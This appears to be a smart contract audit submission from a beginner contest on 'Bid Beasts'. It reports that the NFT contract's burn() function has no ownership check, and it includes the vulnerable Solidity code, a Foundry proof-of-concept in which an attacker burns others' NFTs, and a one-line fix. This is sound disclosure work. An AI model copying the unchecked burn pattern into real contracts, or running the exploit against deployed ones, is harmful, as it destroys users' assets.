Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Any user can burn any NFT, regardless of whether it has been listed or not.

cryptomv3

Any user can burn any NFT, regardless of whether it has been listed or not.

Description

The function BidBeasts_NFT_ERC721::burn() burns the NFT with the specified _tokenId , but does it without any token ownership checks, which is dangerous.

// The function does not contain any checks for token ownership.
function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:

Anyone can call BidBeasts_NFT_ERC721::burn() and burn arbirtary NFT, regardless of whether it has been listed or not.

Impact:

Any NFT owner can lose their NFT.

Proof of Concept

First, we check the burning of a NFT after minting.

Next, we check the burning of a NFT after minting and listing.

function testBurnArbitraryNft() public {
address attacker = makeAddr("attacker");
vm.deal(attacker, 1 ether);
​
// First: mint a NFT and burn it
_mintNFT();
​
uint256 nft_token_id = 0;
​
// console.log("NFT owner:", owner_of_nft);
console.log("Attacker address:\t", attacker);
console.log("NFT owner address:\t", nft.ownerOf(nft_token_id));
​
// The attacker burns the NFT
vm.startPrank(attacker);
nft.burn(nft_token_id);
vm.stopPrank();
​
vm.expectRevert("ERC721NonexistentToken(0)");
nft.ownerOf(nft_token_id);
​
// Next: mint, list a NFT and burn it
_mintNFT();
console.log("NFT owner address:\t", nft.ownerOf(nft_token_id));
​
// List the NFT
nft_token_id = 1;
vm.startPrank(SELLER);
nft.approve(address(market), nft_token_id);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
// The attacker burns the NFT
vm.startPrank(attacker);
nft.burn(nft_token_id);
vm.stopPrank();
​
vm.expectRevert("ERC721NonexistentToken(1)");
nft.ownerOf(nft_token_id);
}

Recommended Mitigation

Add an NFT owner check before executing the _burn() function.

function burn(uint256 _tokenId) public {
+ require(msg.sender == ownerOf(_tokenId), "Not token owner");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.